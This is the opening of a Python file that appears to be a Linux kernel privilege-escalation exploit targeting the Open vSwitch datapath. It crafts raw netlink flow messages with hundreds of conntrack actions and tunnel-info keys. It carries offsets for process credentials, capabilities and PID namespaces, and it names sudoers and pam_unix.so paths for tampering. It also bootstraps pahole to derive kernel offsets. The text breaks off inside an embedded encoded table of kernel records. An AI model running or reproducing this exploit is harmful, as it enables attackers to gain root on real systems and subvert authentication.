3199 lines
134 KiB
Python
3199 lines
134 KiB
Python
#!/usr/bin/env python3
|
||
from __future__ import annotations
|
||
|
||
import base64
|
||
import errno
|
||
import glob
|
||
import json
|
||
import os
|
||
import pwd
|
||
import re
|
||
import shlex
|
||
import shutil
|
||
import socket
|
||
import struct
|
||
import subprocess
|
||
import sys
|
||
import time
|
||
import urllib.error
|
||
import urllib.request
|
||
import zlib
|
||
from dataclasses import dataclass, fields
|
||
from typing import Any
|
||
|
||
|
||
NLMSG_HDR = "IHHII"
|
||
GENL_HDR = "BBH"
|
||
NLA_HDR = "HH"
|
||
|
||
NLM_F_REQUEST = 1
|
||
NLM_F_ACK = 4
|
||
NLM_F_CREATE = 0x400
|
||
NETLINK_GENERIC = 16
|
||
GENL_ID_CTRL = 0x10
|
||
NLMSG_ERROR = 2
|
||
CTRL_CMD_GETFAMILY = 3
|
||
CTRL_ATTR_FAMILY_ID = 1
|
||
CTRL_ATTR_FAMILY_NAME = 2
|
||
|
||
OVS_DATAPATH_VERSION = 2
|
||
OVS_FLOW_VERSION = 1
|
||
|
||
OVS_DP_CMD_NEW = 1
|
||
OVS_DP_ATTR_NAME = 1
|
||
OVS_DP_ATTR_UPCALL_PID = 2
|
||
OVS_DP_ATTR_USER_FEATURES = 5
|
||
|
||
OVS_FLOW_CMD_NEW = 1
|
||
OVS_FLOW_CMD_DEL = 2
|
||
OVS_FLOW_CMD_GET = 3
|
||
OVS_FLOW_ATTR_KEY = 1
|
||
OVS_FLOW_ATTR_ACTIONS = 2
|
||
|
||
OVS_KEY_ATTR_IN_PORT = 3
|
||
OVS_KEY_ATTR_ETHERNET = 4
|
||
OVS_KEY_ATTR_ETHERTYPE = 6
|
||
OVS_KEY_ATTR_IPV4 = 7
|
||
OVS_KEY_ATTR_TCP = 9
|
||
OVS_KEY_ATTR_TUNNEL = 16
|
||
OVS_KEY_ATTR_TCP_FLAGS = 18
|
||
OVS_KEY_ATTR_TUNNEL_INFO = 31
|
||
|
||
OVS_ACTION_ATTR_CT = 12
|
||
OVS_ACTION_ATTR_CLONE = 20
|
||
OVS_ACTION_ATTR_OUTPUT = 1
|
||
OVS_ACTION_ATTR_SET = 3
|
||
OVS_ACTION_ATTR_POP_VLAN = 5
|
||
|
||
OVS_CT_ATTR_COMMIT = 1
|
||
OVS_CT_ATTR_LABELS = 4
|
||
OVS_CT_ATTR_HELPER = 5
|
||
OVS_CT_ATTR_TIMEOUT = 9
|
||
|
||
OVS_TUNNEL_KEY_ATTR_IPV4_SRC = 1
|
||
OVS_TUNNEL_KEY_ATTR_IPV4_DST = 2
|
||
OVS_TUNNEL_KEY_ATTR_TOS = 3
|
||
OVS_TUNNEL_KEY_ATTR_TTL = 4
|
||
OVS_TUNNEL_KEY_ATTR_TP_SRC = 9
|
||
OVS_TUNNEL_KEY_ATTR_TP_DST = 10
|
||
OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE = 16
|
||
|
||
ETH_P_IP = 0x0800
|
||
IPPROTO_TCP = 6
|
||
|
||
BTF_DIR = "/sys/kernel/btf"
|
||
NLA_HEADER_SIZE = 4
|
||
KERNEL_BASE_SYMBOL = "_text"
|
||
REQUIRED_SYMBOLS = (
|
||
KERNEL_BASE_SYMBOL,
|
||
"module_ktype",
|
||
"init_pid_ns",
|
||
)
|
||
HOST_USER_ENV = "OVS_C004_HOST_USER"
|
||
HOST_WRITER_PID_ENV = "OVS_C004_HOST_WRITER_PID"
|
||
HOST_WRITER_TRIGGER_FD_ENV = "OVS_C004_HOST_WRITER_TRIGGER_FD"
|
||
HOST_WRITER_ACK_FD_ENV = "OVS_C004_HOST_WRITER_ACK_FD"
|
||
SUDOERS_FILE = "/etc/sudoers"
|
||
SUDOERS_DROPIN_DIR = "/etc/sudoers.d"
|
||
PAM_UNIX_SO = "/lib/x86_64-linux-gnu/security/pam_unix.so"
|
||
PAM_UNIX_BAK = "/lib/x86_64-linux-gnu/security/pam_unix.so.bak"
|
||
CARRIER_TIMEOUT = "timeout"
|
||
CARRIER_LABELS_ONLY = "labels-only"
|
||
CARRIER_AUTO = "auto"
|
||
CARRIER_ORDER = (CARRIER_TIMEOUT, CARRIER_LABELS_ONLY)
|
||
CT_ACTION_COUNT = 400
|
||
|
||
DWARVES_PKG_DIRNAME = "dwarves_pkg"
|
||
DWARVES_ROOT_DIRNAME = "dwarves_root"
|
||
|
||
|
||
def _dwarves_lib_dirs(root: str) -> list[str]:
|
||
lib_dirs: list[str] = []
|
||
for rel in (
|
||
"usr/lib64",
|
||
"usr/lib/x86_64-linux-gnu",
|
||
"usr/lib/aarch64-linux-gnu",
|
||
"usr/lib",
|
||
):
|
||
path = os.path.join(root, rel)
|
||
if os.path.isdir(path):
|
||
lib_dirs.append(path)
|
||
return lib_dirs
|
||
|
||
|
||
def _apply_dwarves_env(root: str) -> None:
|
||
bin_dir = os.path.join(root, "usr/bin")
|
||
lib_dirs = _dwarves_lib_dirs(root)
|
||
os.environ["PATH"] = (
|
||
bin_dir + ":/usr/bin:/bin:" + os.environ.get("PATH", "")
|
||
)
|
||
if lib_dirs:
|
||
os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs) + ":" + os.environ.get(
|
||
"LD_LIBRARY_PATH", ""
|
||
)
|
||
|
||
|
||
def _pahole_runnable() -> bool:
|
||
if shutil.which("pahole") is None:
|
||
return False
|
||
try:
|
||
subprocess.run(
|
||
["pahole", "--version"],
|
||
capture_output=True,
|
||
check=True,
|
||
env=os.environ,
|
||
)
|
||
return True
|
||
except (subprocess.CalledProcessError, OSError):
|
||
return False
|
||
|
||
|
||
def _directory_allows_exec(base: str) -> bool:
|
||
try:
|
||
os.makedirs(base, exist_ok=True)
|
||
probe = os.path.join(base, ".ovs_c004_exec_probe")
|
||
with open(probe, "w", encoding="ascii") as handle:
|
||
handle.write("#!/bin/sh\n")
|
||
os.chmod(probe, 0o755)
|
||
subprocess.run([probe], check=True, capture_output=True)
|
||
os.remove(probe)
|
||
return True
|
||
except OSError:
|
||
return False
|
||
|
||
|
||
def _pick_dwarves_base() -> str:
|
||
env_base = os.environ.get("OVS_C004_DWARES_BASE")
|
||
candidates: list[str] = []
|
||
if env_base:
|
||
candidates.append(env_base)
|
||
home = os.path.expanduser("~")
|
||
if home and home != "~":
|
||
candidates.append(os.path.join(home, ".cache", "ovs_c004"))
|
||
candidates.extend(("/var/tmp/ovs_c004", "/tmp"))
|
||
for base in candidates:
|
||
if _directory_allows_exec(base):
|
||
return base
|
||
raise RuntimeError(
|
||
"kernel needs dynamic derivation via pahole, but no writable directory "
|
||
"allows executing binaries (/tmp may be mounted noexec; set "
|
||
"OVS_C004_DWARES_BASE to a path under $HOME)"
|
||
)
|
||
|
||
|
||
def _dwarves_paths(base: str) -> tuple[str, str]:
|
||
return (
|
||
os.path.join(base, DWARVES_PKG_DIRNAME),
|
||
os.path.join(base, DWARVES_ROOT_DIRNAME),
|
||
)
|
||
|
||
|
||
def _try_existing_dwarves_root(root: str) -> bool:
|
||
pahole_bin = os.path.join(root, "usr/bin/pahole")
|
||
if not os.path.isfile(pahole_bin):
|
||
return False
|
||
try:
|
||
os.chmod(pahole_bin, 0o755)
|
||
except OSError:
|
||
return False
|
||
_apply_dwarves_env(root)
|
||
return _pahole_runnable()
|
||
|
||
|
||
def _detect_pkg_family() -> str:
|
||
if shutil.which("apt-get") or shutil.which("apt"):
|
||
return "debian"
|
||
if shutil.which("dnf") or shutil.which("yum"):
|
||
return "rhel"
|
||
raise RuntimeError(
|
||
"kernel needs dynamic derivation via pahole, but no supported package "
|
||
"manager was found (need apt/apt-get or dnf/yum) and pahole is not installed"
|
||
)
|
||
|
||
|
||
def _host_rpm_arch() -> str:
|
||
machine = os.uname().machine
|
||
if machine in ("x86_64", "amd64"):
|
||
return "x86_64"
|
||
if machine in ("aarch64", "arm64"):
|
||
return "aarch64"
|
||
return machine
|
||
|
||
|
||
def _filter_rpms_for_host(rpm_paths: list[str]) -> list[str]:
|
||
arch = _host_rpm_arch()
|
||
matched = [
|
||
path
|
||
for path in rpm_paths
|
||
if path.endswith(f".{arch}.rpm") or f".{arch}." in os.path.basename(path)
|
||
]
|
||
return sorted(matched or rpm_paths)
|
||
|
||
|
||
def _extract_rpm_tree(rpm_path: str, root: str) -> None:
|
||
log(f"bootstrap: extracting {rpm_path}")
|
||
proc = subprocess.run(
|
||
f"rpm2cpio {shlex.quote(rpm_path)} | cpio -idmv",
|
||
shell=True,
|
||
cwd=root,
|
||
capture_output=True,
|
||
text=True,
|
||
)
|
||
if proc.returncode != 0:
|
||
raise RuntimeError(
|
||
f"failed to extract {rpm_path}: {proc.stderr or proc.stdout}"
|
||
)
|
||
|
||
|
||
def _pahole_failure_detail(root: str) -> str:
|
||
pahole_bin = os.path.join(root, "usr/bin/pahole")
|
||
lines = [f"pahole_bin={pahole_bin} exists={os.path.isfile(pahole_bin)}"]
|
||
if not os.path.isfile(pahole_bin):
|
||
return "\n".join(lines)
|
||
try:
|
||
os.chmod(pahole_bin, 0o755)
|
||
except OSError as exc:
|
||
lines.append(f"chmod failed: {exc}")
|
||
_apply_dwarves_env(root)
|
||
proc = subprocess.run(
|
||
[pahole_bin, "--version"],
|
||
capture_output=True,
|
||
text=True,
|
||
env=os.environ,
|
||
check=False,
|
||
)
|
||
lines.append(f"pahole --version rc={proc.returncode}")
|
||
if proc.stdout.strip():
|
||
lines.append(f"stdout: {proc.stdout.strip()}")
|
||
if proc.stderr.strip():
|
||
lines.append(f"stderr: {proc.stderr.strip()}")
|
||
if shutil.which("ldd"):
|
||
ldd = subprocess.run(
|
||
["ldd", pahole_bin],
|
||
capture_output=True,
|
||
text=True,
|
||
check=False,
|
||
)
|
||
ldd_out = (ldd.stdout or ldd.stderr).strip()
|
||
if ldd_out:
|
||
lines.append(f"ldd:\n{ldd_out}")
|
||
return "\n".join(lines)
|
||
|
||
|
||
def _bootstrap_pahole_rhel(pkg_dir: str, root: str) -> None:
|
||
pkg_mgr = "dnf" if shutil.which("dnf") else "yum"
|
||
for tool in (pkg_mgr, "rpm2cpio", "cpio"):
|
||
if shutil.which(tool) is None:
|
||
raise RuntimeError(
|
||
f"kernel needs dynamic derivation via pahole, but {tool!r} is "
|
||
"missing and pahole is not installed"
|
||
)
|
||
|
||
if os.path.isdir(root):
|
||
shutil.rmtree(root)
|
||
os.makedirs(pkg_dir, exist_ok=True)
|
||
os.makedirs(root, exist_ok=True)
|
||
|
||
log(f"bootstrap: fetching dwarves RPMs (+ deps) via {pkg_mgr}")
|
||
resolved = subprocess.run(
|
||
[pkg_mgr, "download", f"--destdir={pkg_dir}", "--resolve", "dwarves"],
|
||
capture_output=True,
|
||
text=True,
|
||
check=False,
|
||
)
|
||
if resolved.returncode != 0:
|
||
log(
|
||
"bootstrap: --resolve dwarves failed, trying explicit package list "
|
||
f"({resolved.stderr or resolved.stdout or resolved.returncode})"
|
||
)
|
||
subprocess.run(
|
||
[
|
||
pkg_mgr,
|
||
"download",
|
||
f"--destdir={pkg_dir}",
|
||
"dwarves",
|
||
"libdwarves1",
|
||
"libdwarves",
|
||
"elfutils-libelf",
|
||
"elfutils-libdw",
|
||
],
|
||
check=True,
|
||
)
|
||
|
||
rpm_paths = _filter_rpms_for_host(sorted(glob.glob(os.path.join(pkg_dir, "*.rpm"))))
|
||
if not rpm_paths:
|
||
raise RuntimeError(f"RPM download failed under {pkg_dir}")
|
||
|
||
# libs/elf 先解，dwarves(pahole) 最后
|
||
def _rpm_sort_key(path: str) -> tuple[int, str]:
|
||
base = os.path.basename(path)
|
||
if base.startswith("dwarves-"):
|
||
return (2, base)
|
||
return (1, base)
|
||
|
||
for rpm_path in sorted(rpm_paths, key=_rpm_sort_key):
|
||
_extract_rpm_tree(rpm_path, root)
|
||
|
||
pahole_bin = os.path.join(root, "usr/bin/pahole")
|
||
if not os.path.isfile(pahole_bin):
|
||
raise RuntimeError(
|
||
f"pahole binary not found after RPM extract: {pahole_bin}"
|
||
)
|
||
os.chmod(pahole_bin, 0o755)
|
||
|
||
|
||
def _bootstrap_pahole_debian(pkg_dir: str, root: str) -> None:
|
||
apt = shutil.which("apt-get") or shutil.which("apt")
|
||
dpkg_deb = shutil.which("dpkg-deb")
|
||
if apt is None or dpkg_deb is None:
|
||
raise RuntimeError(
|
||
"kernel needs dynamic derivation via pahole, but apt/apt-get or "
|
||
"dpkg-deb is missing and pahole is not installed"
|
||
)
|
||
|
||
os.makedirs(pkg_dir, exist_ok=True)
|
||
os.makedirs(root, exist_ok=True)
|
||
log(f"bootstrap: fetching pahole DEBs via {apt}")
|
||
|
||
primary = subprocess.run(
|
||
[apt, "download", "pahole"],
|
||
cwd=pkg_dir,
|
||
capture_output=True,
|
||
text=True,
|
||
check=False,
|
||
)
|
||
if primary.returncode != 0:
|
||
raise RuntimeError(
|
||
"DEB download failed for pahole: "
|
||
f"{primary.stderr or primary.stdout or primary.returncode}"
|
||
)
|
||
|
||
for pkg in ("libdwarves1", "libdw1t64", "libdw1", "libelf1t64", "libelf1"):
|
||
subprocess.run(
|
||
[apt, "download", pkg],
|
||
cwd=pkg_dir,
|
||
capture_output=True,
|
||
text=True,
|
||
check=False,
|
||
)
|
||
|
||
deb_paths = sorted(glob.glob(os.path.join(pkg_dir, "*.deb")))
|
||
if not deb_paths:
|
||
raise RuntimeError(f"DEB download produced no .deb files under {pkg_dir}")
|
||
|
||
for deb_path in deb_paths:
|
||
log(f"bootstrap: extracting {deb_path}")
|
||
proc = subprocess.run(
|
||
[dpkg_deb, "-x", deb_path, root],
|
||
capture_output=True,
|
||
text=True,
|
||
check=False,
|
||
)
|
||
if proc.returncode != 0:
|
||
raise RuntimeError(
|
||
f"failed to extract {deb_path}: {proc.stderr or proc.stdout}"
|
||
)
|
||
|
||
pahole_bin = os.path.join(root, "usr/bin/pahole")
|
||
if not os.path.isfile(pahole_bin):
|
||
raise RuntimeError(
|
||
f"pahole binary not found after DEB extract: {pahole_bin}"
|
||
)
|
||
os.chmod(pahole_bin, 0o755)
|
||
|
||
|
||
def ensure_pahole_available() -> None:
|
||
"""Download/extract pahole when absent (Debian/apt or RHEL/dnf/yum)."""
|
||
if _pahole_runnable():
|
||
return
|
||
|
||
base = _pick_dwarves_base()
|
||
pkg_dir, root = _dwarves_paths(base)
|
||
if _try_existing_dwarves_root(root):
|
||
log(f"bootstrap: using existing pahole tree at {root}")
|
||
return
|
||
|
||
family = _detect_pkg_family()
|
||
if family == "debian":
|
||
_bootstrap_pahole_debian(pkg_dir, root)
|
||
else:
|
||
_bootstrap_pahole_rhel(pkg_dir, root)
|
||
|
||
_apply_dwarves_env(root)
|
||
if not _pahole_runnable():
|
||
detail = _pahole_failure_detail(root)
|
||
raise RuntimeError(
|
||
"pahole bootstrap completed but pahole is still unavailable in PATH "
|
||
f"(install root={root})\n{detail}"
|
||
)
|
||
log(f"bootstrap: pahole ready at {shutil.which('pahole')} (base={base})")
|
||
|
||
|
||
|
||
def align4(value: int) -> int:
|
||
return (value + 3) & ~3
|
||
|
||
|
||
def nla(attr_type: int, payload: bytes) -> bytes:
|
||
length = 4 + len(payload)
|
||
if length > 0xFFFF:
|
||
raise ValueError(f"netlink attribute too long: {length}")
|
||
return (
|
||
struct.pack(NLA_HDR, length, attr_type)
|
||
+ payload
|
||
+ (b"\x00" * (align4(length) - length))
|
||
)
|
||
|
||
|
||
def cstr(value: str) -> bytes:
|
||
return value.encode("ascii") + b"\x00"
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class Attr:
|
||
attr_type: int
|
||
payload: bytes
|
||
raw_len: int
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class SymbolOffsets:
|
||
module_ktype: int
|
||
init_pid_ns: int
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class KernelOffsets:
|
||
nf_conntrack_helper_me: int
|
||
module_kobj_ktype: int
|
||
vmlinux_module_ktype: int
|
||
vmlinux_init_pid_ns: int
|
||
task_pid: int
|
||
task_cred: int
|
||
task_pid_links: int
|
||
cred_fsuid: int
|
||
cred_fsgid: int
|
||
cred_cap_permitted: int
|
||
cred_cap_effective: int
|
||
pid_namespace_idr: int
|
||
idr_idr_rt: int
|
||
idr_base: int
|
||
xarray_xa_head: int
|
||
xa_node_shift: int
|
||
xa_node_slots: int
|
||
pid_tasks: int
|
||
hlist_head_first: int
|
||
dst_entry_ref: int
|
||
dst_entry_ref_kind: str
|
||
metadata_dst_tun_info: int
|
||
ip_tunnel_key_ipv4_src: int
|
||
ip_tunnel_key_ipv4_dst: int
|
||
ip_tunnel_key_tos: int
|
||
ip_tunnel_key_ttl: int
|
||
ip_tunnel_key_tp_src: int
|
||
ip_tunnel_key_tp_dst: int
|
||
ovs_ct_labels: int
|
||
ovs_ct_action_len: int
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class TunnelReadLane:
|
||
name: str
|
||
field_offset: int
|
||
attr_type: int
|
||
payload_index: int
|
||
optional_zero: bool
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class KernelBuildRecord:
|
||
release: str
|
||
version: str
|
||
machine: str
|
||
offsets: KernelOffsets
|
||
read_carrier: str
|
||
write_carrier: str
|
||
read_lanes: tuple[str, ...]
|
||
ovs_key_attr_tunnel_info: int
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class KernelParameterPlan:
|
||
name: str
|
||
offsets: KernelOffsets
|
||
record: KernelBuildRecord | None
|
||
|
||
|
||
KERNEL_RECORDS_DESCRIPTION = "the embedded pre-derived kernel record table"
|
||
|
||
# BEGIN EMBEDDED KERNEL RECORDS
|
||
_KERNEL_RECORDS_B85 = (b"c-rmVU2h%7+2;H6=TkJYPZBtbsJiQ=tLw~&Y~ay`Y~zuGAbT(n7RhCqTQn(9q!VSZ{n>X{FH&lf-Mw0?Sxu_>&u}mqiIEeE`uX-%_sjqKucG)r_5Ur3KmE2o`t{^&^QTz+>EFS>@%B%D-TuV+FTZ@)Tz;s3V*8o(4;@`>j^7-u-@n=X^2_Gv^5pmQA9Mb%_kRBU=Hj=L%gfDi{qr{5{`p@%ygf-jZshKdUo}52pFjWj!{wXJ+2zH@Hy4{<>Ywtq`={Q#J2^}L(LcR;b8&Q)KKIk-{d#&*f99{7b^RAOx%hBdf0p|6lPAX)Zw}WV(*FwWZ~bWczZZ8t`Td*AtFyDs>6>?(k8e)i|8CzLH@}{iq0jknaa4a!==qe(^AESbgm-@W{q<kNtNzc}{uNyBU*hsK{dD>1r+?dAu8-H3>-0;fPkeK7_RD$t!pr9`?{DYFSErjd@6HeZ-#70rKfZ6iMDqE+#Mv)zj?T~OumAe!UH#QPt$)Mc{FXk+e*T>E-#@%Lx_q;)zfsQ5-kfgEnlH1x`}3#k!_Dc3+yBw`C&zEj*1v5&yk8$}(r?DC---0Im+KGjKHUC&OF#4`eJeHJT<*?Kyx)FvmDb+-@i(U@XU#7rq4l5o{kQsuul`+sbxtmu&pJz=VssE~TmMyWKJDf!cJsw5mAAI_-|pY*H)rR^n>QbRJ^AJKH`b@0IX%C;^L6<5`r=~!@lE|1={q=mA2mPo|K0o%t-pflw|ISdd2#bwe)F4IU4PC+`qn?Hf1Q&}`YQhE^5nP8`PJp0+CP1|KHH?f^8fnum8riiKYy9(Z=lcrpXU4Rjk@<E`qq!6Z!Ptw<_G@wr@zwaX8ULDPwqh51GVy6A2@s94>qUOoATf`KfiA-KGfeg>C^u&UA%tvQ}NUPeD~d}pMHMx;-5c!`|7{{R(yYPQoLG!EVL_>jbfq>#dj}$E<}mH`BnaPadNro`k((_*Iz{xL_rip!ADlG{`Y$-`193ft6)__7<Cn;LO~RKjtaU*P|(<pPwP<7NQHt!3WoAPt7`?rLHc)JD&gy^vqnO(^|xnKy2h~h`_F$vLL@}OCnTZv;aN*~_eWZvbMt4T{aK%Wtn2fn<HyXMAG`Bc{q$qH<Hw}q$IKVn{l#vtFN>G8-M+42qfyam3Ru{NZ3<Y}&d#>%&Gt?FDpjF%bhX=*+qjL}l-s!dl-*7-Nh-I?LfdGnC?(}KY{NEe!*+JI&E9PPV{_cFtyL3~glG+J<2G*NHg0Ek+wJZ4&%a)6-PVN)(dlR%ZsRs?6K{WY{TUCUp!U(2D2}ig1yPXdmFhKn^;+)j_N()4SS(VgGK!Aksa|m#x2axn`w6>!lNP65XcMi8rlj7+ZQQ2b#_jBGSJUh5Dy7BBMN7Sn+qjL}xSic?*?)#5O<^aujVhFnBGEF1joY|QPJ-L{-Ij^(lBY#oZmZ}dIz>zZ+ptZ!4ckwd?WWv5O*1Sy8i`7%wqYB#VH>uyvpsc&<+KRtQBs#tv*`o2VVjTyw)3-XA0Q-2z1tF<CnSMw*rwWs?XQFF5VehpRub5TZP<qG{A|04Er6$mHYwb;DjF7j;5KfPlHm5&;<k-0b#D`s;5KekZ{v1$xBcW^5^b;JZJJ4N8@H*qar<j=TTIGHYPYGkaT~X(w{bhS+tuV}NinJ3)*)KXcH=f~Q*Yz;Q+E5Nd0V8(Ny^kuLcNXKxQ*Mmo!M=pCcjHcnWk=36-DDVZsRsN32x_h+f6FBzkPpEXqPrh*(zO3ASQur*oJM`&d#=(@G6<EqU);Z0yI(RCV_3(hHcoMfo(hCQ8KYDp-2gd;?50h!}b$o+i<0E5Wy+|xM$URQU6|~UOH7*t(J@!{@`yW{(S3udWb($303Qos@78Jy}(Y7dZ}Kusa(}6I?j9HHD2R2UT5~&PAITH)_;T=uyr&vVE{H@12$l12HWoi_V*VjTd-aIrz~n86<`B4U;{Q_X9hd$1$OF}YhLiwb%pI%zXaHT4cK2J*t?L_Y8sMdLQ+{)`GX`#&W5D7t^XB6NR}ETmsQp3YVUWxbXQ!e2J9-D0N8*H*nkb#S;3b58Z$m^H)>J{mzMYAHD2R2UgLFEuVq4keOmaYzAmHVnGdh=8n5v>v)69#1iRV#?3$~FKH5i|RB2h#3AU3Suzfe!Ey(u)d-KcD+2vOTwv}CAyPaU$VX&>)33eOguLf-04YpLlc7kmyKLEB@VHeo-pE2uNzvVq(r_XaLFkihGuw4zdR>7>^zT0$B9jeve53kNHuNty%TIY<aRgSLysBVaM5Dn1~ot0=OyE`$O&kL=8N`dI55Pe>M)1Q8s(%0v~1*K6Mr75IQI<wNYuaK@(o9J!UaaQ}BcFCy_#XvMfLo|gnL}w?uzmOhMT6C*L52aBWr86pRwHVj>O7tmRf1Xv`MOmEEZuR!)eJ9bjE9<E1XQiTZ(UcGk(GWdPA+4PsRY;4r6w(VMx+m+<ZKAh*(`WU!RH3VAOsjDkq9Gch^Aasa*-=D?pdfm2L=R*geM*apN}^FHjnXJRQzC6fJ{krd4Hu`hU#<W3p_6EHH;%r(WTHc~J}L{*5Dn49(GZ=T=)O4G-KwImHrp4&GF8#KB<p}^h$fDP=vj#FiKFE{(ao5l=qNU7f)0p=XyRyy&QJ6}96g}4HBoDnMro8Ljz;OsN|(KH^u5-*=EYDIx=b@HieYewhUl5%Xyr;jCXUwHv0!O=MEAwfzD@L}9n&Te?Lu8hLo`G~G;uUU=O?-+jyCsa3{RV79X=Wz9dR^7L-cHM^hlyBh+Z7gp*QGoT~%}<It>^`<sllPA)25AqO%j-7j%?8&xLgr?Ic<@bwD&k6LdiI3`F+?9rkV&{q5D;v`k4%v?YCa5Dn4v-9hvmL=W`c*}gd1MJc0UcQi_)G;uUa=T^GvjiY^E)?uQqq9%@pXo#LG>+qEyMYNQ}(aR&cFYCDXV)%OVz6ecEhmD5e6@*4;q7H=4FZ4jv;rat<#~?ULqcl+mO6OO)QoT_}dB5}S^m^l+siIIwLo`Iwc?Z$?iSFyXtM2cOu8Fp3yT8^Pn}ukICXI&ZS%~gQqy62Uj+90xqRXg#v;-Xx4bgK29oCH6rDT+1m(ucx9*Cp;-E~SSjuxpuqOzO>M`@HMjz;PHO6%S@I^4}VnioTx;%G&4G(<!6EuxKT{b~<Pv>J7QrT#n)uq>14|6E;k*3nw2yZzD4nXIx|9j#f{fzl|=qajMqp>)rq;T@w}y?5y*xQmukh8T^}yc%Nk3`Y078s6)@`|;?q@XdCA8?8fVghpr{4G}uK&;yT#Wq)gj`1%8-Q5vP^QhHn+Z4`C%;*^%&N5iTs>JXPUDp?a1Gb|7d(L5SL^bADzKN{-JV}@lK23MXj7L-Qm`5q0+5i2{=qoJ^}V}VNdJ{sz~VMkL*t7e0=j)plFjK=7>9u0$xTdQOhMlaClo=3xb9n$I1P)wmz)b$5<SRfjrc{POS{6r7D8iwB1j&#zH<~xuEX&wzhIycg$@6qs1gLKNHQ)7p&(h!R>QDHPjV>Ed*M&~!WH;<OCE&pj_M-8+v#DdWnJ(tlsRHFtBb>$c|T%yrEd34p4N2ha!K1$%p5TYS^zNo`_H7e@RhUUBF5j~JcS6z9u)JogvB)Sr%Q5vP^X^|eav7`PxHg+sfX*<*+ZSJ>7pQb?;(Mf4)X_Q83;trIaLFt~jqht5oi_K9XsgO2h6o`gsh$ilU==?<Y#~pW-{@f*<M#6Q}jD*89Ow)h|)47>;{SA21X>@aq1)?DuqKTv-dLE+tBWc@pGfTTd*)(oQmo!SFG+ojtJ%iG{UDCF@kk&pr6QzP^h=yoh4Iw%|(eK7Aze}%%FV|;H|DB6sqWNUB$7qbkXr2u*I+xKy&xZH*-~Dj@d;M)yC>_&&C3cj;G)&LMv=5^$gd6c(2wxi0zW>?Kbd9oTlMWkNAC<vqjK=7h-VMhj(&^ohM0$}%_rDvuu6IMJng%=@EtND%qx4+whGE2-()4a<SyQ?|rF-8E-Q7^SsibYHq+P{nLyX4g*&Yrn?Zc>t!_ty=EYRq_hr@dt@S2B1U+9n$Y2$e~#AuA>;Si&<8$I-J*vGU;Z8ZHIFb&f@9Kv*drpx|^L)#U1NJy(Y(s4ru4lx>|c{s%A8I10KIP^U$|F_dDoX$dNl;+_OrDssO_u<fY4IFBpZqQ1Iiibmt#%LZ6F?t50-;LQNos9l|b6EeWY1*W9tBxj-#%PSroJf~$+?{YE)X~c`dg$Ts-ZV>Mx=A~Xiq@bsN~1LIhA5p`>Cpdf=<X8T429c5m#Ix!JJJq}#%SIRF*?7|{qKfl?>1?xxyu65AkDKONY8<E@3Y}OqMJfmrDsEJqT&cGMq@OQG)Ct)dMJ{%cbDKbFNdL7-4R*~mdK=G8m7slVLB7jRevV!?_COCpQR2wZKIOt=<dL1jGil#4%N8hS(f{TOEkJalMX$7(sd=ROjLou1Eo=#P#UGPE8QDPhn`A0Jsegoqp74Z8l#zI!RUNOzZ<(u`qlcPXoyY|hlCvv4bgK2(n0%i?}im&$FhjlO7#cQ_j)^;1$a{Ebls3gLyX4g*`f}uWZa!_uV|89p3%KgN7Z+Pwu)LsCm4;<7){iH(fN&jH)j1^YQ9TRhYrmmX&W7NG)7}IJ<=GR-{_$pY2TYjTOTd!{!tpGNu*Iax6-;lkq$iz@U|yebcxXzjnTA7V|0F_dt0Qnx|?^TnQ&bdN@Ci9$8sf<Mrqy+Q98fUeeZ_%jczJwos3TXccdK{jnTXtV)P6~zZ<pw?rPHn(rHO)NJ~3D*U=b_(HPCUAx392dg$G-yt_-fVcI07U1+T-g=v_EX+mk3&cw6~h0^+NcSp0RRHvuI`a^Rm9Hmj3zyqc8E8QD-gu9{ix9=|s?b5)Zt&OHp8ly3qzyqW68$A?wguA(PV!BKthsLv~6s1v`MroAJue9lHl)l~G@p+ad9SV0*X^4hsh^7M%qO%j-+kq!N<AypqRVxkA5Dn2}9T1(J=%K8m>WZY(4m=la84VMMFb&g$9Wb4nY1<!m=&njyR8vY@cHm(&Mw516^c+U_rX8khmPMDzXsM#3NgAUun)W-4p26sMWA=8W?MkoKA5&jPI%^meL_;)06LmmzZlYa()FEB7hDN10+9-POFdCzYIxu<;qkE$c+qbr(imHm1<~xkWXrc~`p26sMW2V8kb@azVT#BQ088zK^7>&_%-(hrqqX)Y0ZZq9Vq@^Z03QD6iN|Q*VbZ(`6e<E$}65Z_V@YiXFVUaXOV>F30M&~!WH<5N-3p;ePNLrWCc#Otqj3({C=<G%hr5$qr;qYVqZB?i;)*k}XFb&f@9Kv*Nrpx|^Lvwf5@a5H6x^1Y_5DSqsMq@OQG)Ct)I`l`<?(WWxR7W?Pl~jm^ad3!+XcB3N&QEl2B3<@0cGN`cXc#qwXo#LG=@28Ml8&GVq!&nZU(#XkR?#Wx5SuQ98y6jEG)7}IkA@hX-{_%7L)#Nbi;CJu$AVIrhG_z6n9j{~)gMUvo@v7rcX*}^F&d+1yAVDqkxrjSBE3kX`!9rt`_G0KjnZ`)?W3@_1Eo=#cSDrUuXOLbVd$@<o#Gq|Mq@N-2S(3f^iU}6?lS%I>a@_NS+68f!!%68G=T?9XJ%Tfp}?c+T2yLubKB5Fp-~#8QJP{JrE@E-`=1U&-@IXn;-VOg#%PSDlE&!#M)y|IqPnhxYnLi%RYk>F7L-P5o(@quztVkAhobv8cW4`Jz-Wxd=$X=v%GyzBhZBrmn$gmqc2s>chudKm8l^EBqi3t5Ll{>_dp6)L&*<JdTJG1;r-eyGONc_$0nrdmAPv#EiMB(5wCPzTt!*?C6%BYOjnXKM(z%uPLrS~;NLrct1Eo<KrDsxFk6N*$bjgaP#VK75Dedpp(oHCB(p-3gnq{RZjnXqc96GUK%)_AzLMXi~rLC;qZq7CrCr6!3JLwt?PsOx~&PMZTeTRc-n1*SXhUqL!n_;HA4``XD4NpbuU>c@jdZso!qeiviNeCp<3uD?2GhN=_;88Q(+@dw6mKvsE8m3_yrn55b^dQq--_NE`3z5|4Aud{&hH03FX_(H;^l&!q<^EjDX?j9bRkR^mfoYhAX_$uTyi5;g)85>@O8f2A+jN!IM^i=}P#UFCdM2f<8F%qeag}yyO8a4@Z}sE7USBp!S7`uINwglNQ5vOD8m03pT@EW<-i<t7Z{8QWOeX-+`EUc%Fb&f%4bx